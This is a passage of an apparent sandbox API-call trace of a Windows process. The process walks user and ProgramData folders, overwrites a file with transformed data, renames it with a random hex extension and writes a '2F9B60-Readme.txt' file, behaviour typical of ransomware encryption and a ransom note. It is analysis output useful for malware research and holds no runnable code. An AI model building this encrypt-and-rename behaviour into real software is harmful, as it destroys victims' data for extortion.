lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x532ebf00, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x532ebf00, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x532ebf00, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x4b4520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0099.156] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0099.156] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0099.156] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0099.156] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1 [0099.157] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1 [0099.157] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9b3800, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x4f9b3800, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x4f9b3800, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0099.157] FindClose (in: hFindFile=0x1cd9da90 | out: hFindFile=0x1cd9da90) returned 1 [0099.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59620) returned 1 [0099.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799520) returned 1 [0099.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799610) returned 1 Thread: id = 823 os_tid = 0x13c0 [0099.160] GetFileAttributesW (lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml")) returned 0x2020 [0099.160] SetFileAttributesW (lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml", dwFileAttributes=0x20) returned 1 [0100.716] CreateFileW (lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x151c [0100.716] GetFileSizeEx (in: hFile=0x151c, lpFileSize=0x1eb5fac0 | out: lpFileSize=0x1eb5fac0*=119) returned 1 [0100.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261eb0 [0100.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0100.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e20 [0100.717] NtQuerySystemTime (in: CurrentTime=0x1eb5f980 | out: CurrentTime=0x1eb5f980*=132462177062434000) returned 0x0 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x18c9701e [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x1758e9c9 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0xc87e69b [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x5aecd896 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x4358e8c5 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0xc3b8ac7 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x12bfd762 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x5bffe047 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x52fd8832 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x62e193c6 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x3c6df2dc [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x58e01b19 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x4b47fe [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x403e17f5 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x719106d1 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x15cd2cb9 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x7ba25080 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x3f4401ad [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x2272b78c [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x373f87db [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x3843e139 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x16be6e72 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x4f23a1f8 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x21f2e9c9 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0xd37e191 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x6bd4447b [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0xe541b6b [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x796de734 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x8023ab9 [0100.717] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x5353670 [0100.718] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0xb04c82 [0100.718] RtlRandomEx (in: Seed=0x1eb5f970 | out: Seed=0x1eb5f970) returned 0x5ba5fe76 [0100.725] ReadFile (in: hFile=0x151c, lpBuffer=0x201f5950, nNumberOfBytesToRead=0x77, lpNumberOfBytesRead=0x1eb5f970, lpOverlapped=0x0 | out: lpBuffer=0x201f5950*, lpNumberOfBytesRead=0x1eb5f970*=0x77, lpOverlapped=0x0) returned 1 [0100.727] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.727] WriteFile (in: hFile=0x151c, lpBuffer=0x201f9560*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x1eb5f974, lpOverlapped=0x0 | out: lpBuffer=0x201f9560*, lpNumberOfBytesWritten=0x1eb5f974*=0x77, lpOverlapped=0x0) returned 1 [0101.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0101.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0101.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f880) returned 1 [0101.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f9560) returned 1 [0101.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f5950) returned 1 [0101.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0101.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0101.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f7f0 [0101.820] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.820] WriteFile (in: hFile=0x151c, lpBuffer=0x167160*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x1eb5fa90, lpOverlapped=0x0 | out: lpBuffer=0x167160*, lpNumberOfBytesWritten=0x1eb5fa90*=0x10e, lpOverlapped=0x0) returned 1 [0102.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869bc0 [0102.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859490 [0102.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859490) returned 1 [0102.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b859490 [0102.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859640 [0102.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aff0 [0102.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aff0) returned 1 [0102.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0102.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd977b0 [0102.244] sprintf (in: _Dest=0x1cd977b0, _Format="%c%c" | out: _Dest="5d") returned 2 [0102.244] sprintf (in: _Dest=0x1cd977b2, _Format="%c%c" | out: _Dest="a5") returned 2 [0102.244] sprintf (in: _Dest=0x1cd977b4, _Format="%c%c" | out: _Dest="1f") returned 2 [0102.244] sprintf (in: _Dest=0x1cd977b6, _Format="%c%c" | out: _Dest="59") returned 2 [0102.244] sprintf (in: _Dest=0x1cd977b8, _Format="%c%c" | out: _Dest="f5") returned 2 [0102.244] sprintf (in: _Dest=0x1cd977ba, _Format="%c%c" | out: _Dest="eb") returned 2 [0102.244] sprintf (in: _Dest=0x1cd977bc, _Format="%c%c" | out: _Dest="95") returned 2 [0102.244] sprintf (in: _Dest=0x1cd977be, _Format="%c%c" | out: _Dest="51") returned 2 [0102.244] sprintf (in: _Dest=0x1cd977c0, _Format="%c%c" | out: _Dest="bf") returned 2 [0102.244] sprintf (in: _Dest=0x1cd977c2, _Format="%c%c" | out: _Dest="5f") returned 2 [0102.244] sprintf (in: _Dest=0x1cd977c4, _Format="%c%c" | out: _Dest="2a") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977c6, _Format="%c%c" | out: _Dest="c3") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977c8, _Format="%c%c" | out: _Dest="26") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977ca, _Format="%c%c" | out: _Dest="99") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977cc, _Format="%c%c" | out: _Dest="0d") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977ce, _Format="%c%c" | out: _Dest="85") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977d0, _Format="%c%c" | out: _Dest="34") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977d2, _Format="%c%c" | out: _Dest="7d") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977d4, _Format="%c%c" | out: _Dest="2d") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977d6, _Format="%c%c" | out: _Dest="55") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977d8, _Format="%c%c" | out: _Dest="7b") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977da, _Format="%c%c" | out: _Dest="a1") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977dc, _Format="%c%c" | out: _Dest="83") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977de, _Format="%c%c" | out: _Dest="94") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977e0, _Format="%c%c" | out: _Dest="50") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977e2, _Format="%c%c" | out: _Dest="1c") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977e4, _Format="%c%c" | out: _Dest="72") returned 2 [0102.245] sprintf (in: _Dest=0x1cd977e6, _Format="%c%c" | out: _Dest="09") returned 2 [0102.245] RtlInitAnsiString (in: DestinationString=0x1eb5fb08, SourceString="5da51f59f5eb9551bf5f2ac326990d85347d2d557ba18394501c7209" | out: DestinationString="5da51f59f5eb9551bf5f2ac326990d85347d2d557ba18394501c7209") [0102.245] RtlAnsiStringToUnicodeString (in: DestinationString=0x1eb5fad8, SourceString="5da51f59f5eb9551bf5f2ac326990d85347d2d557ba18394501c7209", AllocateDestinationString=1 | out: DestinationString="5da51f59f5eb9551bf5f2ac326990d85347d2d557ba18394501c7209") returned 0x0 [0102.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b8697c0 [0102.246] wcscat (in: _Dest=0x1b869bc0, _Source="5da51f59f5eb95" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update\\5da51f59f5eb95") returned="C:\\ProgramData\\Sun\\Java\\Java Update\\5da51f59f5eb95" [0102.246] wcscat (in: _Dest=0x1b869bc0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update\\5da51f59f5eb95.2f9b60") returned="C:\\ProgramData\\Sun\\Java\\Java Update\\5da51f59f5eb95.2f9b60" [0102.246] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Sun\\Java\\Java Update\\5da51f59f5eb95.2f9b60", NtPathName=0x1eb5fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Sun\\Java\\Java Update\\5da51f59f5eb95.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4205c6f0 [0103.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c6f0) returned 1 [0103.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420578c0) returned 1 [0103.306] NtQueryInformationFile (in: FileHandle=0x151c, IoStatusBlock=0x1eb5fb18, FileInformation=0x1eb5fb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1eb5fb18, FileInformation=0x1eb5fb28) returned 0x0 [0103.306] NtSetInformationFile (FileHandle=0x151c, IoStatusBlock=0x1eb5fb18, FileInformation=0x1eb5fb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0103.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0103.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8697c0) returned 1 [0103.436] FlushFileBuffers (hFile=0x151c) returned 1 [0103.441] CloseHandle (hObject=0x151c) returned 1 [0103.852] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x20503c10 [0103.852] wcscpy (in: _Dest=0x20503c10, _Source="C:\\ProgramData\\Sun\\Java\\Java Update\\" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update\\") returned="C:\\ProgramData\\Sun\\Java\\Java Update\\" [0103.852] wcscat (in: _Dest=0x20503c10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Sun\\Java\\Java Update\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Sun\\Java\\Java Update\\2F9B60-Readme.txt" [0103.852] GetFileAttributesW (lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\sun\\java\\java update\\2f9b60-readme.txt")) returned 0xffffffff [0103.852] CreateFileW (lpFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\sun\\java\\java update\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdd4 [0104.446] WriteFile (in: hFile=0xdd4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1eb5f9d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x1eb5f9d0*=0xba9, lpOverlapped=0x0) returned 1 [0104.447] CloseHandle (hObject=0xdd4) returned 1 [0104.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503c10) returned 1 [0104.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863960) returned 1 Thread: id = 824 os_tid = 0x13c4 [0099.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e8e0 [0099.161] wcscpy (in: _Dest=0x1b86e8e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" [0099.161] wcscat (in: _Dest=0x1b86e8e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\" [0099.161] wcscat (in: _Dest=0x1b86e8e0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*" [0099.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce59620 [0099.161] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*", lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9da90 [0099.162] wcscmp (_String1=".", _String2=".") returned 0 [0099.162] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.162] wcscmp (_String1="..", _String2=".") returned 1 [0099.162] wcscmp (_String1="..", _String2="..") returned 0 [0099.162] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0099.162] wcscmp (_String1="Acrobat", _String2=".") returned 1 [0099.162] wcscmp (_String1="Acrobat", _String2="..") returned 1 [0099.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b866540 [0099.162] wcscpy (in: _Dest=0x1b866540, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" [0099.162] wcscat (in: _Dest=0x1b866540, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\" [0099.162] wcscat (in: _Dest=0x1b866540, _Source="Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat" [0129.896] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b866540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1518 [0129.897] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1 [0129.897] wcscmp (_String1="Color", _String2=".") returned 1 [0129.897] wcscmp (_String1="Color", _String2="..") returned 1 [0129.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85dd90 [0129.897] wcscpy (in: _Dest=0x1b85dd90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" [0129.897] wcscat (in: _Dest=0x1b85dd90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\" [0129.897] wcscat (in: _Dest=0x1b85dd90, _Source="Color" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color" [0129.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85dd90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c0 [0129.898] FindNextFileW (in: hFindFile=0x1cd9da90, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xce60f420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 0 [0129.898] FindClose (in: hFindFile=0x1cd9da90 | out: hFindFile=0x1cd9da90) returned 1 [0129.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59620) returned 1 [0129.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e8e0) returned 1 [0129.899] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863ab0) returned 1 Thread: id = 825 os_tid = 0x13c8 [0099.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202af4f0 [0099.163] wcscpy (in: _Dest=0x202af4f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data" [0099.163] wcscat (in: _Dest=0x202af4f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\" [0099.163] wcscat (in: _Dest=0x202af4f0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*" [0099.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56080 [0099.164] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*", lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0099.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce56080) returned 1 [0099.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af4f0) returned 1 [0099.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c840) returned 1 Thread: id = 826 os_tid = 0x13cc [0099.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b86e4f0 [0099.166] wcscpy (in: _Dest=0x1b86e4f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" [0099.167] wcscat (in: _Dest=0x1b86e4f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\" [0099.167] wcscat (in: _Dest=0x1b86e4f0, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*" [0099.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56080 [0099.167] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*", lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, 